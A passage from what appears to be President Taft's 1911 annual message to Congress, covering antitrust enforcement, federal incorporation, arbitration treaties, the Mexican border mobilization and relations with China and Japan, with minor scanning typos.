different\nmanagers, directors, purchasing and sales agents. If all or many of the\nnumerous stockholders, reaching into the thousands, attempt to secure\nconcerted action of the companies with a view to the control of the market,\ntheir number is so large that such an attempt could not well be concealed,\nand its prime movers and all its participants would be at once subject to\ncontempt proceedings and imprisonment of a summary character. The immediate\nresult of the present situation will necessarily be activity by all the\ncompanies under different managers, and then competition must follow, or\nthere will be activity by one company and stagnation by another. Only a\nshort time will inevitably lead to a change in ownership of the stock, as\nall opportunity for continued cooperation must disappear. Those critics who\nspeak of this disintegration in the trust as a mere change of garments have\nnot given consideration to the inevitable working of the decree and\nunderstand little the personal danger of attempting to evade or set at\nnaught the solemn injunction of a court whose object is made plain by the\ndecree and whose inhibitions are set forth with a detail and\ncomprehensiveness.VOLUNTARY REORGANIZATIONS OF OTHER TRUSTS AT HAND.The effect of these two decisions has led to decrees dissolving the\ncombination of manufacturers of electric lamps, a southern wholesale\ngrocers' association, an interlocutory decree against the Powder Trust with\ndirections by the circuit court compelling dissolution, and other\ncombinations of a similar history are now negotiating with the Department\nof justice looking to a disintegration by decree and reorganization in\naccordance with law. It seems possible to bring about these reorganizations\nwithout general business disturbance.MOVEMENT FOR REPEAL OF THE ANTI-TRUST LAW.But now that the anti-trust act is seen to be effective for the\naccomplishment of the purpose of its enactment, we are met by a cry from\nmany different quarters for its repeal. It is said to be obstructive of\nbusiness progress to be an attempt to restore old-fashioned methods of\ndestructive competition between small units, and to make impossible those\nuseful combinations of capital and the reduction of the cost of production\nthat are essential to continued prosperity and normal growth.In the recent decisions the Supreme Court makes clear that there is nothing\nin the statute which condemns combinations of capital or mere bigness of\nplant organized to secure economy in production and a reduction of its\ncost. It is only when the purpose or necessary effect of the organization\nand maintenance of the combination or the aggregation of immense size are\nthe stifling of competition, actual and potential, and the enhancing of\nprices and establishing a monopoly, that the statute is violated. Mere size\nis no sin against the law. The merging of two or more business plants\nnecessarily eliminates competition between the units thus combined, but\nthis elimination is in contravention of the statute only when the\ncombination is made for purpose of ending this particular competition in\norder to secure control of, and enhance, prices and create a monopoly.LACK OF DEFINITENESS IN THE STATUTE.The complaint is made of the statute that it is not sufficiently definite\nin its description of that which is forbidden, to enable business men to\navoid its violation. The suggestion is, that we may have a combination of\ntwo corporations, which may run on for years, and that subsequently the\nAttorney General may conclude that it was a violation of the statute, and\nthat which was supposed by the combiners to be innocent then turns out to\nbe a combination in violation of the statute. The answer to this\nhypothetical case is that when men attempt to amass such stupendous capital\nas will enable them to suppress competition, control prices and establish a\nmonopoly, they know the purpose of their acts. Men do not do such a thing\nwithout having it clearly in mind. If what they do is merely for the\npurpose of reducing the cost of production, without the thought of\nsuppressing competition by use of the bigness of the plant they are\ncreating, then they can not be convicted at the time the union is made, nor\ncan they be convicted later, unless it happen that later on they conclude\nto suppress competition and take the usual methods for doing so, and thus\nestablish for themselves a monopoly. They can, in such a case, hardly\ncomplain if the motive which subsequently is disclosed is attributed by the\ncourt to the original combination.NEW REMEDIES SUGGESTED.Much is said of the repeal of this statute and of constructive legislation\nintended to accomplish the purpose and blaze a clear path for honest\nmerchants and business men to follow. It may be that such a plan will be\nevolved, but I submit that the discussions which have been brought out in\nrecent days by the fear of the continued execution of the anti-trust law\nhave produced nothing but glittering generalities and have offered no line\nof distinction or rule of action as definite and as clear as that which the\nSupreme Court itself lays down in enforcing the statute.SUPPLEMENTAL LEGISLATION NEEDED--NOT REPEAL OR AMENDMENT.I see no objection-and indeed I can see decided advantages-in the enactment\nof a law which shall describe and denounce methods of competition which are\nunfair and are badges of the unlawful purpose denounced in the anti-trust\nlaw. The attempt and purpose to suppress a competitor by underselling him\nat a price so unprofitable as to drive him out of business, or the making\nof exclusive contracts with customers under which they are required to give\nup association with other manufacturers, and numerous kindred methods for\nstifling competition and effecting monopoly, should be described with\nsufficient accuracy in a criminal statute on the one hand to enable the\nGovernment to shorten its task by prosecuting single misdemeanors instead\nof an entire conspiracy, and, on the other hand, to serve the purpose of\npointing out more in detail to the business community what must be\navoided.FEDERAL INCORPORATION RECOMMENDED.In a special message to Congress on January 7, 1910, I ventured to point\nout the disturbance to business that would probably attend the dissolution\nof these offending trusts. I said:\"But such an investigation and possible prosecution of corporations whose\nprosperity or destruction affects the comfort not only of stockholders but\nof millions of wage earners, employees, and associated tradesmen must\nnecessarily tend to disturb the confidence of the business community, to\ndry up the now flowing sources of capital from its places of hoarding, and\nproduce a halt in our present prosperity that will cause suffering and\nstrained circumstances among the innocent many for the faults of the guilty\nfew. The question which I wish in this message to bring clearly to the\nconsideration and discussion of Congress is whether, in order to avoid such\na possible business danger, something can not be done by which these\nbusiness combinations may be offered a means, without great financial\ndisturbance, of changing the character, organization, and extent of their\nbusiness into one within the lines of the law under Federal control and\nsupervision, securing compliance with the anti-trust statute.\"Generally, in the industrial combinations called 'trusts,' the principal\nbusiness is the sale of goods in many States and in foreign markets; in\nother words, the interstate and foreign business far exceeds the business\ndone in any one State. This fact will justify the Federal Government in\ngranting a Federal charter to such a combination to make and sell in\ninterstate and foreign commerce the products of useful manufacture under\nsuch limitations as will secure a compliance with the anti-trust law. It is\npossible so to frame a statute that while it offers protection to a Federal\ncompany against harmful, vexatious, and unnecessary invasion by the States,\nit shall subject it to reasonable taxation and control by the States with\nrespect to its purely local business. * * *\"Corporations organized under this act should be prohibited from acquiring\nand holding stock in other corporations (except for special reasons, upon\napproval by the proper Federal authority), thus avoiding the creation under\nnational auspices of the holding company with subordinate corporations in\ndifferent States, which has been such an effective agency in the creation\nof the great trusts and monopolies.\"If the prohibition of the anti-trust act against combinations in restraint\nof trade is to be effectively enforced, it is essential that the National\nGovernment shall provide for the creation of national corporations to carry\non a legitimate business throughout the United States. The conflicting laws\nof the different States of the Union with respect to foreign corporations\nmake it difficult, if not impossible, for one corporation to comply with\ntheir requirements so as to carry on business in a number of different\nStates.\"I renew the recommendation of the enactment of a general law providing for\nthe voluntary formation of corporations to engage in trade and commerce\namong the States and with foreign nations. Every argument which was then\nadvanced for such a law, and every explanation which was at that time\noffered to possible objections, have been confirmed by our experience since\nthe enforcement of the antitrust, statute has resulted in the actual\ndissolution of active commercial organizations.It is even more manifest now than it was then that the denunciation of\nconspiracies in restraint of trade should not and does not mean the denial\nof organizations large enough to be intrusted with our interstate and\nforeign trade. It has been made more clear now than it was then that a\npurely negative statute like the anti-trust law may well be supplemented by\nspecific provisions for the building up and regulation of legitimate\nnational and foreign commerce.GOVERNMENT ADMINISTRATIVE EXPERTS NEEDED TO AID COURTS IN TRUST\nDISSOLUTIONS.The drafting of the decrees in the dissolution of the present trusts, with\na view to their reorganization into legitimate corporations, has made it\nespecially apparent that the courts are not provided with the\nadministrative machinery to make the necessary inquiries preparatory to\nreorganization, or to pursue such inquiries, and they should be empowered\nto invoke the aid of the Bureau of Corporations in determining the suitable\nreorganization of the disintegrated parts. The circuit court and the\nAttorney General were greatly aided in framing the decree in the Tobacco\nTrust dissolution by an expert from the Bureau of Corporations.FEDERAL CORPORATION COMMISSION PROPOSED.I do not set forth in detail the terms and sections of a statute which\nmight supply the constructive legislation permitting and aiding the\nformation of combinations of capital into Federal corporations. They should\nbe subject to rigid rules as to their organization and procedure, including\neffective publicity, and to the closest supervision as to the issue of\nstock and bonds by an executive bureau or commission in the Department of\nCommerce and Labor, to which in times of doubt they might well submit their\nproposed plans for future business. It must be distinctly understood that\nincorporation under Federal law could not exempt the company thus formed\nand its incorporators and managers from prosecution under the anti-trust\nlaw for subsequent illegal conduct, but the publicity of its procedure and\nthe opportunity for frequent consultation with the bureau or commission in\ncharge of the incorporation as to the legitimate purpose of its\ntransactions would offer it as great security against successful\nprosecutions for violations of the law as would be practical or wise.Such a bureau or commission might well be invested also with the duty\nalready referred to, of aiding courts in the dissolution and recreation of\ntrusts within the law. It should be an executive tribunal of the dignity\nand power of the Comptroller of the Currency or the Interstate Commerce\nCommission, which now exercise supervisory power over important classes of\ncorporations under Federal regulation.The drafting of such a Federal incorporation law would offer ample\nopportunity to prevent many manifest evils in corporate management to-day,\nincluding irresponsibility of control in the hands of the few who are not\nthe real owners.INCORPORATION VOLUNTARY.I recommend that the Federal charters thus to be granted shall be\nvoluntary, at least until experience justifies mandatory provisions. The\nbenefit to be derived from the operation of great businesses under the\nprotection of such a charter would attract all who are anxious to keep\nwithin the lines of the law. Other large combinations that fail to take\nadvantage of the Federal incorporation will not have a right to complain if\ntheir failure is ascribed to unwillingness to submit their transactions to\nthe careful official scrutiny, competent supervision, and publicity\nattendant upon the enjoyment of such a charter.ONLY SUPPLEMENTAL LEGISLATION NEEDED.The opportunity thus suggested for Federal incorporation, it seems tome, is\nsuitable constructive legislation needed to facilitate the squaring Of\ngreat industrial enterprises to the rule of action laid down by the\nanti-trust law. This statute as construed by the Supreme Court must\ncontinue to be the line of distinction for legitimate business. It must be\nenforced, unless we are to banish individualism from all business and\nreduce it to one common system of regulation or control of prices like that\nwhich now prevails with respect to public utilities, and which when applied\nto all business would be a long step toward State socialism.IMPORTANCE OF THE ANTI-TRUST ACT.The anti-trust act is the expression of the effort of a freedom-loving\npeople to preserve equality of opportunity. It is the result of the\nconfident determination of such a people to maintain their future growth by\npreserving uncontrolled and unrestricted the enterprise of the individual,\nhis industry, his ingenuity, his intelligence, and his independent\ncourage.For twenty years or more this statute has been upon the statute book. All\nknew its general purpose and approved. Many of its violators were cynical\nover its assumed impotence. It seemed impossible of enforcement. Slowly the\nmills of the courts ground, and only gradually did the majesty of the law\nassert itself. Many of its statesmen-authors died before it became a living\nforce, and they and others saw the evil grow which they had hoped to\ndestroy. Now its efficacy is seen; now its power is heavy; now its object\nis near achievement. Now we hear the call for its repeal on the plea that\nit interferes with business prosperity, and we are advised in most general\nterms, how by some other statute and in some other way the evil we are just\nstamping out can be cured, if we only abandon this work of twenty years and\ntry another experiment for another term of years.It is said that the act has not done good. Can this be said in the face of\nthe effect of the Northern Securities decree? That decree was in no way so\ndrastic or inhibitive in detail as either the Standard Oil decree or the\nTobacco decree; but did it not stop for all time the then powerful movement\ntoward the control of all the railroads of the country in a single hand?\nSuch a one-man power could not have been a healthful influence in the\nRepublic, even though exercised under the general supervision of an\ninterstate commission.Do we desire to make such ruthless combinations and monopolies lawful? When\nall energies are directed, not toward the reduction of the cost of\nproduction for the public benefit by a healthful competition, but toward\nnew ways and means for making permanent in a few hands the absolute control\nof the conditions and prices prevailing in the whole field of industry,\nthen individual enterprise and effort will be paralyzed and the spirit of\ncommercial freedom will be dead.PART II.The relations of the United States with other countries have continued\nduring the past twelve months upon a basis of the usual good will and\nfriendly intercourse. ARBITRATION.The year just passed marks an important general movement on the part of the\nPowers for broader arbitration. In the recognition of the manifold benefits\nto mankind in the extension of the policy of the settlement of\ninternational disputes by arbitration rather than by war, and in response\nto a widespread demand for an advance in that direction on the part of the\npeople of the United States and of Great Britain and of France, new\narbitration treaties were negotiated last spring with Great Britain and\nFrance, the terms of which were de signed, as expressed in the preamble of\nthese treaties, to extend the scope and obligations of the policy of\narbitration adopted in our present treaties with those Governments To pave\nthe way for this treat with the United States, Great Britain negotiated an\nimportant modification in its alliance with Japan, and the French\nGovernment also expedited the negotiations with signal good will. The new\ntreaties have been submitted to the Senate and are awaiting its advice and\nconsent to their ratification. All the essentials of these important\ntreaties have long been known, and it is my earnest hope that they will\nreceive prompt and favorable action.CLAIM OF ALSOP & CO. SETTLED.I am glad to report that on July 5 last the American claim of Alsop & Co.\nagainst the Government of Chile was finally disposed of by the decision of\nHis Britannic Majesty George V, to whom, as amiable compositeur, the matter\nhad been referred for determination. His Majesty made an award of nearly\n$1,000,000 to the claimants, which was promptly paid by Chile. The\nsettlement of this controversy has happily eliminated from the relations\nbetween the Republic of Chile and the United States the only question which\nfor two decades had given the two foreign offices any serious concern and\nmakes possible the unobstructed development of the relations of friendship\nwhich it has been the aim of this Government in every possible way to\nfurther and cultivate.ARBITRATIONS--PANAMA AND COSTA RICA--COLOMBIA AND HAITI.In further illustration of the practical and beneficent application of the\nprinciple of arbitration and the underlying broad spirit of conciliation, I\nam happy to advert to the part of the United States in facilitating\namicable settlement of disputes which menaced the peace between Panama and\nCosta Rica and between Haiti and the Dominican Republic.Since the date of their independence, Colombia and Costa Rica had been\nseeking a solution of a boundary dispute, which came as an heritage from\nColombia to the new Republic of Panama, upon its beginning life as an\nindependent nation. Although the disputants had submitted this question for\ndecision to the President of France under the terms of an arbitration\ntreaty, the exact interpretation of the provisions of the award rendered\nhad been a matter of serious disagreement between the two countries, both\ncontending for widely different lines even under the terms of the decision.\nSubsequently and since 1903 this boundary question had been the subject of\nfruitless diplomatic negotiations between the parties. In January, 1910, at\nthe request of both Governments the agents representing them met in\nconference at the Department of State and subsequently concluded a protocol\nsubmitting this long-pending controversy to the arbitral judgment of the\nChief justice of the United States, who consented to act in this capacity.\nA boundary commission, according to the international agreement, has now\nbeen appointed, and it is expected that the arguments will shortly proceed\nand that this long-standing dispute will be honorably and satisfactorily\nterminated.Again, a few months ago it appeared that the Dominican Republic and Haiti\nwere about to enter upon hostilities because of complications growing out\nof an acrimonious boundary dispute which the efforts of many years had\nfailed to solve. The Government of the United States, by a friendly\ninterposition of good offices, succeeded in prevailing upon the parties to\nplace their reliance upon some form of pacific settlement. Accordingly, on\nthe friendly suggestion of this Government, the two Governments empowered\ncommissioners to meet at Washington in conference at the State Department\nin order to arrange the terms of submission to arbitration of the boundary\ncontroversy.CHAMIZAL ARBITRATION NOT SATISFACTORY.Our arbitration of the Chamizal boundary question with Mexico was\nunfortunately abortive, but with the earnest efforts on the part of both\nGovernments which its importance commands, it is felt that an early\npractical adjustment should prove possible.LATIN AMERICA. VENEZUELA.During the past year the Republic of Venezuela celebrated the one hundredth\nanniversary of its independence. The United States sent, in honor of this\nevent, a special embassy to Caracas, where the cordial reception and\ngenerous hospitality shown it were most gratifying as a further proof of\nthe good relations and friendship existing between that country and the\nUnited States. MEXICO.The recent political events in Mexico received attention from this\nGovernment because of the exceedingly delicate and difficult situation\ncreated along our southern border and the necessity for taking measures\nproperly to safeguard American interests. The Government of the United\nStates, in its desire to secure a proper observance and enforcement of the\nso-called neutrality statutes of the Federal Government, issued directions\nto the appropriate officers to exercise a diligent and vigilant regard for\nthe requirements of such rules and laws. Although a condition of actual\narmed conflict existed, there was no official recognition of belligerency\ninvolving the technical neutrality obligations of international law.On the 6th of March last, in the absence of the Secretary of State, I had a\npersonal interview with Mr. Wilson, the ambassador of the United States to\nMexico, in which he reported to me that the conditions in Mexico were much\nmore critical than the press dispatches disclosed; that President Diaz was\non a volcano of popular uprising; that the small outbreaks which had\noccurred were only symptomatic of the whole condition; that a very large\nper cent of the people were in sympathy with the insurrection; that a\ngeneral explosion was probable at any time, in which case he feared that\nthe 40,000 or more American residents in Mexico might be assailed, and that\nthe very large American investments might be injured or destroyed.After a conference with the Secretary of War and the Secretary of the Navy,\nI thought it wise to assemble an Army division of full strength at San\nAntonio, Tex., a brigade of three regiments at Galveston, a brigade of\nInfantry in the Los Angeles district of southern California, together with\na squadron of battleships and cruisers and transports at Galveston, and a\nsmall squadron of ships at San Diego. At the same time, through our\nrepresentative at the City of Mexico, I expressed to President Diaz the\nhope that no apprehensions might result from unfounded conjectures as to\nthese military maneuvers, and assured him that they had no significance\nwhich should cause concern to his Government.The mobilization was effected with great promptness, and on the 15th of\nMarch, through the Secretary of War and the Secretary of the Navy, in a\nletter addressed to the Chief of Staff, I issued the following\ninstructions: It seems my duty as Commander in Chief to place troops in\nsufficient number where, if Congress shall direct that they enter Mexico to\nsave American lives and property, an effective movement may be promptly\nmade. Meantime, the movement of the troops to Texas and elsewhere near the\nboundary, accompanied with sincere assurances of the utmost goodwill toward\nthe present Mexican Government and with larger and more frequent patrols\nalong the border to prevent insurrectionary expeditions from American soil,\nwill hold up the hands of the existing Government and will have a healthy\nmoral effect to prevent attacks upon Americans and their property in any\nsubsequent general internecine strife. Again, the sudden mobilization of a\ndivision of troops has been a great test of our Army and full of useful\ninstruction, while the maneuvers that are thus made possible can occupy the\ntroops and their officers to great advantage.The assumption by the press that I contemplate intervention on Mexican soil\nto protect American lives or property is of course gratuitous, because I\nseriously doubt whether I have such authority under any circumstances, and\nif I had I would not exercise it without express congressional approval.\nIndeed, as you know, I have already declined, without Mexican consent, to\norder a troop of Cavalry to protect the breakwater we are constructing just\nacross the border in Mexico at the mouth of the Colorado River to save the\nImperial Valley, although the insurrectos had scattered the Mexican troops\nand were taking our horses and supplies and frightening our workmen away.\nMy determined purpose, however, is to be in a position so that when danger\nto American lives and property in Mexico threatens and the existing\nGovernment is rendered helpless by the insurrection, I can promptly execute\ncongressional orders to protect them, with effect.Meantime, I send you this letter, through the Secretary, to call your\nattention to some things in connection with the presence of the division in\nthe Southwest which have doubtless occurred to you, but which I wish to\nemphasize.In the first place, I want to make the mobilization a first-class training\nfor the Army, and I wish you would give your time and that of the War\nCollege to advising and carrying out maneuvers of a useful character, and\nplan to continue to do this during the next three months. By that time we\nmay expect that either Ambassador Wilson's fears will have been realized\nand chaos and its consequences have ensued, or that the present Government\nof Mexico will have so readjusted matters as to secure tranquillity-a\nresult devoutly to be wished. The troops can then be returned to their\nposts. I understood from you in Washington that Gen. Aleshire said that you\ncould probably meet all the additional expense of this whole movement out\nof the present appropriations if the troops continue in Texas for three\nmonths. I sincerely hope this is so. I observe from the newspapers that you\nhave no blank cartridges, but I presume that this is an error, or that it\nwill be easy to procure those for use as soon as your maneuvers begin.Second. Texas is a State ordinarily peaceful, but you can not put 20,000\ntroops into it without running some risk of a collision between the people\nof that State, and especially the Mexicans who live in Texas near the\nborder and who sympathize with the insurrectos, and the Federal soldiers.\nFor that reason I beg you to be as careful as you can to prevent friction\nof any kind. We were able in Cuba, with the army of pacification there of\nsomething more than 5,000 troops, to maintain them for a year without any\ntrouble, and I hope you can do the same thing in Texas. Please give your\nattention to this, and advise all the officers in command of the necessity\nfor very great circumspection in this regard.Third. One of the great troubles in the concentration of troops is the\ndanger of disease, and I suppose that you have adopted the most modern\nmethods for preventing and, if necessary, for stamping out epidemics. That\nis so much a part of a campaign that it hardly seems necessary for me to\ncall attention to it.Finally, I wish you to examine the question of the patrol of the border and\nput as many troops on that work as is practicable, and more than are now\nengaged in it, in order to prevent the use of our borderland for the\ncarrying out of the insurrection. I have given assurances to the Mexican\nambassador on this point.I sincerely hope that this experience will always be remembered by the Army\nand Navy as a useful means of education, and I should be greatly\ndisappointed if it resulted in any injury or disaster to our forces from\nany cause. I have taken a good deal of responsibility in ordering this\nmobilization, but I am ready to answer for it if only you and those under\nyou use the utmost care to avoid the difficulties which I have pointed\nout.You may have a copy of this letter made and left with Gen. Carter and such\nother generals in command as you may think wise and necessary to guide them\nin their course, but to be regarded as confidential. I am more than happy\nto here record the fact that all apprehensions as to the effect of the\npresence of so large a military force in Texas proved groundless; no\ndisturbances occurred; the conduct of the troops was exemplary and the\npublic reception and treatment of them was all that could have been\ndesired, and this notwithstanding the presence of a large number of Mexican\nrefugees in the border territory.From time to time communications were received from Ambassador Wilson, who\nhad returned to Mexico, confirming the view that the massing of American\ntroops in the neighborhood had had good effect. By dispatch of April 3,\n1911, the ambassador said: The continuing gravity of the situation here and\nthe chaos that would ensue should the constitutional authorities be\neventually overthrown, thus greatly increasing the danger to which American\nlives and property are already subject, confirm the wisdom of the President\nin taking those military precautions which, making every allowance for the\ndignity and the sovereignty of a friendly state, are due to our nationals\nabroad.Charged as I am with the responsibility of safeguarding these lives and\nproperty, I am bound to say to the department that our military\ndispositions on the frontier have produced an effective impression on the\nMexican mind and may, at any moment, prove to be the only guaranties for\nthe safety of our nationals and their property. If it should eventuate that\nconditions here require more active measures by the President and Congress,\nsporadic attacks might be made upon the lives and property of our\nnationals, but the ultimate result would be order and adequate protection.\nThe insurrection continued and resulted In engagements between the regular\nMexican troops and the insurgents, and this along the border, so that in\nseveral instances bullets from the contending forces struck American\ncitizens engaged in their lawful occupations on American soil.Proper protests were made against these invasions of American rights to the\nMexican authorities. On April 17, 1911, I received the following telegram\nfrom the governor of Arizona: As a result of to-day's fighting across the\ninternational line, but within gunshot range of the heart of Douglas, five\nAmericans wounded on this side of the line. Everything points to repetition\nof these casualties on to-morrow, and while the Federals seem disposed to\nkeep their agreement not to fire into Douglas, the position of the\ninsurrectionists is such that when fighting occurs on the east and\nsoutheast of the intrenchments people living in Douglas are put in danger\nof their lives. In my judgment radical measures are needed to protect our\ninnocent people, and if anything can be done to stop the fighting at Agua\nPrieta the situation calls for such action. It is impossible to safeguard\nthe people of Douglas unless the town be vacated. Can anything be done to\nrelieve situation, now acute? After a conference with the Secretary of\nState, the following telegram was sent to Governor Sloan, on April IS, 1911\n9 11, and made public: Your dispatch received. Have made urgent demand upon\nMexican Government to issue instructions to prevent firing across border by\nMexican federal troops, and am waiting reply. Meantime I have sent direct\nwarning to the Mexican and insurgent forces near Douglas. I infer from your\ndispatch that both parties attempt to heed the warning, but that in the\nstrain and exigency of the contest wild bullets still find their way into\nDouglas. The situation might justify me in ordering our troops to cross the\nborder and attempt to stop the fighting, or to fire upon both combatants\nfrom the American side. But if I take this step, I must face the\npossibility of resistance and greater bloodshed, and also the danger of\nhaving our motives misconstrued and misrepresented, and of thus inflaming\nMexican popular indignation against many thousand Americans now in Mexico\nand jeopardizing their lives and property. The pressure for general\nintervention under such conditions it might not be practicable to resist.\nIt is impossible to foresee or reckon the consequences of such a course,\nand we must use the greatest self-restraint to avoid it. Pending my urgent\nrepresentation to the Mexican Government, I can not therefore order the\ntroops at Douglas to cross the border, but I must ask you and the local\nauthorities, in case the same danger recurs, to direct the people of\nDouglas to place themselves where bullets can not reach them and thus avoid\ncasualty. I am loath to endanger Americans in Mexico, where they are\nnecessarily exposed, by taking a radical step to prevent injury to\nAmericans on our side of the border who can avoid it by a temporary\ninconvenience. I am glad to say that no further invasion of American rights\nof any substantial character occurred.The presence of a large military and naval force available for prompt\naction, near the Mexican border, proved to be most fortunate under the\nsomewhat trying conditions presented by this invasion of American rights\nHad no movement theretofore taken place, and because of these events it had\nbeen necessary then to bring about the mobilization, it must have had\nsinister significance. On the other hand, the presence of the troops before\nand at the time of the unfortunate killing and wounding of American\ncitizens at Douglas, made clear that the restraint exercised by our\nGovernment in regard to this Occurrence was not due to lack of force or\npower to deal with it promptly and aggressively, but was due to a real\ndesire to use every means possible to avoid direct intervention in the\naffairs of our neighbor whose friendship we valued and were most anxious to\nretain.The policy and action of this Government were based upon an earnest\nfriendliness for the Mexican people as a whole, and it is a matter of\ngratification to note that this attitude of strict impartiality as to all\nfactions in Mexico and of sincere friendship for the neighboring nation,\nwithout regard for party allegiance, has been generally recognized and has\nresulted in an even closer and more sympathetic understanding between the\ntwo Republics and a warmer regard one for the other. Action to suppress\nviolence and restore tranquillity throughout the Mexican Republic was of\npeculiar interest to this Government, in that it concerned the safeguarding\nof American life and property in that country. The Government of the United\nStates had occasion to accord permission for the passage of a body of\nMexican rurales through Douglas, Arizona, to Tia Juana, Mexico, for the\nsuppression of general lawlessness which had for some time existed in the\nregion of northern Lower California. On May 25, 1911, President Diaz\nresigned, Senor de la Barra was chosen provisional President. Elections for\nPresident and Vice President were thereafter held throughout the Republic,\nand Senor Francisco I. Madero was formally declared elected on October 15\nto the chief magistracy. On November 6 President Madero entered upon the\nduties of his office.Since the inauguration of President Madero a plot has been unearthed\nagainst the present Government, to begin a new insurrection. Pursuing the\nsame consistent policy which this administration has adopted from the\nbeginning, it directed an investigation into the conspiracy charged, and\nthis investigation has resulted in the indictment of Gen. Bernardo Reyes\nand others and the seizure of a number of officers and men and horses and\naccoutrements assembled upon the soil of Texas for the purpose of invading\nMexico. Similar proceedings had been taken during the insurrection against\nthe Diaz Government resulting in the indictments and prosecution of persons\nfound to be engaged in violating the neutrality laws of the United States\nin aid of that uprising.The record of this Government in respect of the recognition of constituted\nauthority in Mexico therefore is clear.CENTRAL AMERICA-HONDURAS AND NICARAGUA TREATIES PROPOSED.As to the situation in Central America, I have taken occasion in the past\nto emphasize most strongly the importance that should be attributed to the\nconsummation of the conventions between the Republics of Nicaragua and of\nHonduras and this country, and I again earnestly recommend that the\nnecessary advice and consent of the Senate be accorded to these treaties,\nwhich will make it possible for these Central American Republics to enter\nupon an era of genuine economic national development. The Government of\nNicaragua which has already taken favorable action on the convention, has\nfound it necessary, pending the exchange of final ratifications, to enter\ninto negotiations with American bankers for the purpose of securing a\ntemporary loan to relieve the present financial tension. III connection\nwith this temporary loan and in the hope of consummating, through the\nultimate operation of the convention, a complete and lasting economic\nregeneration, the Government of Nicaragua has also decided to engage an\nAmerican citizen as collector general of customs. The claims commission on\nwhich the services of two American citizens have been sought, and the work\nof the American financial adviser should accomplish a lasting good of\ninestimable benefit to the prosperity, commerce, and peace of the Republic.\nIn considering the ratification of the conventions with Nicaragua and\nHonduras, there rests with the United States the heavy responsibility of\nthe fact that their rejection here might destroy the progress made and\nconsign the Republics concerned to still deeper submergence in bankruptcy,\nrevolution, and national jeopardy. PANAMA.Our relations with the Republic of Panama, peculiarly important, due to\nmutual obligations and the vast interests created by the canal, have\ncontinued in the usual friendly manner, and we have been glad to make\nappropriate expression of our attitude of sympathetic interest in the\nendeavors of our neighbor in undertaking the development of the rich\nresources of the country. With reference to the internal political affairs\nof the Republic, our obvious concern is in the maintenance of public peace\nand constitutional order, and the fostering of the general interests\ncreated by the actual relations of the two countries, without the\nmanifestation of any preference for the success of either of the political\nparties.THE PAN AMERICAN UNION.The Pan American Union, formerly known as the Bureau of American Republics,\nmaintained by the joint contributions of all the American nations, has\nduring the past year enlarged its practical work as an international\norganization, and continues to prove its usefulness as an agency for the\nmutual development of commerce, better acquaintance, and closer intercourse\nbetween the United States and her sister American republics.THE FAR EAST.THE CHINESE LOANS.The past year has been marked in our relations with China by the conclusion\nof two important international loans, one for the construction of the\nHukuang railways, the other for carrying out of the currency reform to\nwhich China was pledged by treaties with the United States, Great Britain,\nand Japan, of which mention was made in my last annual message.It will be remembered that early in 1909 an agreement was consummated among\nBritish, French, and German financial groups whereby they proposed to lend\nthe Chinese Government funds for the construction of railways in the\nProvinces of Hunan and Hupeh, reserving for their nationals the privilege\nof engineering the construction of the lines and of furnishing the\nmaterials required for the work. After negotiations with the Governments\nand groups concerned an agreement was reached whereby American, British,\nFrench, and German nationals should participate upon equal terms in this\nimportant and useful undertaking. Thereupon the financial groups, supported\nby their respective Governments, began negotiations with the Chinese\nGovernment which terminated in a loan to China Of $30,000,000, with the\nprivilege of increasing the amount to $50,000,000. The cooperative\nconstruction of these trunk lines should be of immense advantage,\nmaterially and otherwise, to China and should greatly facilitate the\ndevelopment of the bountiful resources of the Empire. On the other hand, a\nlarge portion of these funds is to be expended for materials, American\nproducts having equal preference with those of the other three lending\nnations, and as the contract provides for branches and extensions\nsubsequently to be built on the same terms the opportunities for American\nmaterials will reach considerable proportions.Knowing the interest of the United States in the reform of Chinese\ncurrency, the Chinese Government, in the autumn of 1910 sought the\nassistance of the American Government to procure funds with which to\naccomplish that all-important reform. In the course of the subsequent\nnegotiations there was combined with the proposed currency loan one for\ncertain industrial developments in Manchuria, the two loans aggregating the\nsum Of $50,000,000. While this was originally to be solely an American\nenterprise, the American Government, consistently with its desire to secure\na sympathetic and practical cooperation of the great powers toward\nmaintaining the principle of equality of opportunity and the administrative\nintegrity of China, urged the Chinese Government to admit to participation\nin the currency loan the associates of the American group in the Hukuang\nloan. While of immense importance in itself, the reform contemplated in\nmaking this loan is but preliminary to other and more comprehensive fiscal\nreforms which will be of incalculable benefit to China and foreign\ninterests alike, since they will strengthen the Chinese Empire and promote\nthe rapid development of international trade.NEUTRAL FINANCIAL ADVISER.When these negotiations were begun, it was understood that a financial\nadviser was to be employed by China in connection with the reform, and in\norder that absolute equality in all respects among the lending nations\nmight be scrupulously observed, the American Government proposed the\nnomination of a neutral adviser, which was agreed to by China and the other\nGovernments concerned. On September 28, 1911, Dr. Vissering, president of\nthe Dutch Java Bank and a financier of wide experience in the Orient, was\nrecommended to the Chinese Government for the post of monetary adviser.Especially important at the present, when the ancient Chinese Empire is\nshaken by civil war incidental to its awakening to the many influences and\nactivities of modernization, are the cooperative policy of good\nunderstanding which has been fostered by the international projects\nreferred to above and the general sympathy of view among all the Powers\ninterested in the Far East. While safeguarding the interests of our\nnationals, this Government is using its best efforts in continuance of its\ntraditional policy of sympathy and friendship toward the Chinese Empire and\nits people, with the confident hope for their economic and administrative\ndevelopment, and with the constant disposition to contribute to their\nwelfare in all proper ways consistent with an attitude of strict\nimpartiality as between contending factions.For the first time in the history of the two countries, a Chinese cruiser,\nthe Haichi, under the command of Admiral Ching, recently visited New York,\nwhere the officers and men were given a cordial welcome.NEW JAPANESE TREATY.The treaty of commerce and navigation between the United States and Japan,\nsigned in 1894, would by a strict interpretation of its provisions have\nterminated on July 17, 1912. Japan's general treaties with the other\npowers, however, terminated in 1911, and the Japanese Government expressed\nan earnest desire to conduct the negotiations for a new treaty with the\nUnited States simultaneously with its negotiations with the other powers.\nThere were a number of important questions involved in the treaty,\nincluding the immigration of laborers, revision of the customs tariff, and\nthe right of Americans to hold real estate in Japan. The United States\nconsented to waive all technicalities and to enter at once upon\nnegotiations for a new treaty on the understanding that there should be a\ncontinuance throughout the, life of the treaty of the same effective\nmeasures for the restriction of immigration of laborers to American\nterritory which had been in operation with entire satisfaction to both\nGovernments since 1908. The Japanese Government accepted this basis of\nnegotiation, and a new treaty was quickly concluded, resulting in a highly\nsatisfactory settlement of the other questions referred to.A satisfactory adjustment has also been effected of the questions growing\nout of the annexation of Korea by Japan.The recent visit of Admiral Count Togo to the United States as the Nation's\nguest afforded a welcome opportunity to demonstrate the friendly feeling so\nhappily existing between the two countries. SIAM.There has been a change of sovereigns in Siam and the American minister at\nBangkok was accredited in a special capacity to represent the United States\nat the coronation ceremony of the 